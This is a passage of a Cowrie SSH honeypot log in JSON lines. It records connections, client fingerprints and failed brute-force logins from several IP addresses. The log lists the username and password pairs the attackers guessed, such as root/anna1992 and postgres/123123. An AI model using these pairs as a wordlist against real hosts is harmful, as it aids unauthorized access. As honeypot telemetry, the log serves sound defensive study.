{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:37:cf:20:c1:01:5b:3d:37:a2:ff:af:23:97:af:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIqNzM9ijgQQN4dSZujHbNNlD0J56okfCQ2s2vUSo/UiFhzQminVXbXdSsiFInG05VOcW/RPt1oGFINi+FhReHQXMCzyuUCSd+Fe63pAWzdEkwxuD7+gW5kpOOJ1FFd9c4nSB1Wk0RjW7ueAW3Im5W52BINvh8dYIAhhyeTWs7KNAAAAFQDhpcg7ZqVrsWhd/QIqQGqIQu+E/wAAAIBND29aV1Pff7R2PzLcGA22L1OaYiaLFedDxpsu8ZP8RRjERSUSJaf6DVfbX2wJeB66IZiXTs25vam9gfY57kcskk8CzW6RsP7F9Q6NzQG6cTdwVVIk9lBckeeLMU8NOsUehkgPiN0Qi0hy8FOHzxXMSukb4Dy9LAnTZ78qAc7zQgAAAIAEaNkxPcYVUbILk1esfMNXYOmto2ypuS4F2kyXCclSvo4QMKgZyC0axi3xt6OYOvNUv3HkPiz8f0UqP1rC+w0VNnkCFE4TOKibf+Zfg7d6t60UOsUrrYCPbeYU/LUeVcfO3yy0geHj7FxWYunicenTC4g2vvzfCifcPqP6LpkMdg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 37:37:cf:20:c1:01:5b:3d:37:a2:ff:af:23:97:af:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.009732Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:37:cf:20:c1:01:5b:3d:37:a2:ff:af:23:97:af:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIqNzM9ijgQQN4dSZujHbNNlD0J56okfCQ2s2vUSo/UiFhzQminVXbXdSsiFInG05VOcW/RPt1oGFINi+FhReHQXMCzyuUCSd+Fe63pAWzdEkwxuD7+gW5kpOOJ1FFd9c4nSB1Wk0RjW7ueAW3Im5W52BINvh8dYIAhhyeTWs7KNAAAAFQDhpcg7ZqVrsWhd/QIqQGqIQu+E/wAAAIBND29aV1Pff7R2PzLcGA22L1OaYiaLFedDxpsu8ZP8RRjERSUSJaf6DVfbX2wJeB66IZiXTs25vam9gfY57kcskk8CzW6RsP7F9Q6NzQG6cTdwVVIk9lBckeeLMU8NOsUehkgPiN0Qi0hy8FOHzxXMSukb4Dy9LAnTZ78qAc7zQgAAAIAEaNkxPcYVUbILk1esfMNXYOmto2ypuS4F2kyXCclSvo4QMKgZyC0axi3xt6OYOvNUv3HkPiz8f0UqP1rC+w0VNnkCFE4TOKibf+Zfg7d6t60UOsUrrYCPbeYU/LUeVcfO3yy0geHj7FxWYunicenTC4g2vvzfCifcPqP6LpkMdg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.014533Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":40756,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d8fecfe951","protocol":"ssh","message":"New connection: 5.182.83.231:40756 (10.17.0.5:22) [session: d4d8fecfe951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.023490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.030360Z","src_ip":"5.182.83.231","session":"d4d8fecfe951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.045243Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.153682Z","src_ip":"5.182.83.231","session":"d4d8fecfe951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:38.657930Z","src_ip":"5.182.83.231","session":"d4d8fecfe951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:39.778939Z","src_ip":"5.182.83.231","session":"d4d8fecfe951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":3974,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b85df2759b","protocol":"ssh","message":"New connection: 220.247.224.226:3974 (10.17.0.5:22) [session: b1b85df2759b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:03.523673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:03.530065Z","src_ip":"220.247.224.226","session":"b1b85df2759b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:03.751775Z","src_ip":"220.247.224.226","session":"b1b85df2759b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEasdzxc","message":"login attempt [root/!@#QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:04.660187Z","src_ip":"220.247.224.226","session":"b1b85df2759b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:05.886115Z","src_ip":"220.247.224.226","session":"b1b85df2759b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":50516,"dst_ip":"159.203.135.109","dst_port":22,"session":"0af075f9ace3","protocol":"ssh","message":"New connection: 182.253.156.184:50516 (159.203.135.109:22) [session: 0af075f9ace3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:12.077444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:12.082886Z","src_ip":"182.253.156.184","session":"0af075f9ace3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:12.331920Z","src_ip":"182.253.156.184","session":"0af075f9ace3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123123","message":"login attempt [postgres/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:13.348023Z","src_ip":"182.253.156.184","session":"0af075f9ace3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:14.597527Z","src_ip":"182.253.156.184","session":"0af075f9ace3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":55382,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a0eafcd9ec","protocol":"ssh","message":"New connection: 38.93.206.2:55382 (10.17.0.5:22) [session: f7a0eafcd9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:21.591992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:21.596769Z","src_ip":"38.93.206.2","session":"f7a0eafcd9ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:21.648319Z","src_ip":"38.93.206.2","session":"f7a0eafcd9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1992","message":"login attempt [root/anna1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:21.800755Z","src_ip":"38.93.206.2","session":"f7a0eafcd9ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:26:22.856639Z","src_ip":"38.93.206.2","session":"f7a0eafcd9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51782,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b324f89d86","protocol":"ssh","message":"New connection: 147.45.199.80:51782 (10.17.0.5:22) [session: 31b324f89d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:34.402824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:34.407725Z","src_ip":"147.45.199.80","session":"31b324f89d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:34.509977Z","src_ip":"147.45.199.80","session":"31b324f89d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksan","message":"login attempt [root/aleksan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:34.822329Z","src_ip":"147.45.199.80","session":"31b324f89d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:35.925737Z","src_ip":"147.45.199.80","session":"31b324f89d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f816675b40","protocol":"ssh","message":"New connection: 5.182.83.231:51628 (10.17.0.5:22) [session: 05f816675b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.277333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.281927Z","src_ip":"5.182.83.231","session":"05f816675b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.399342Z","src_ip":"5.182.83.231","session":"05f816675b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":15411,"dst_ip":"10.17.0.5","dst_port":22,"session":"97bb374e3aa7","protocol":"ssh","message":"New connection: 220.247.224.226:15411 (10.17.0.5:22) [session: 97bb374e3aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.813505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.829792Z","src_ip":"220.247.224.226","session":"97bb374e3aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@123","message":"login attempt [es/es@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:41.898203Z","src_ip":"5.182.83.231","session":"05f816675b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:42.045347Z","src_ip":"220.247.224.226","session":"97bb374e3aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brian123","message":"login attempt [root/brian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:42.919079Z","src_ip":"220.247.224.226","session":"97bb374e3aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:43.017685Z","src_ip":"5.182.83.231","session":"05f816675b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:44.144021Z","src_ip":"220.247.224.226","session":"97bb374e3aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":52514,"dst_ip":"159.203.135.109","dst_port":22,"session":"48ec574780fe","protocol":"ssh","message":"New connection: 182.253.156.184:52514 (159.203.135.109:22) [session: 48ec574780fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:50.533484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:50.539389Z","src_ip":"182.253.156.184","session":"48ec574780fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256",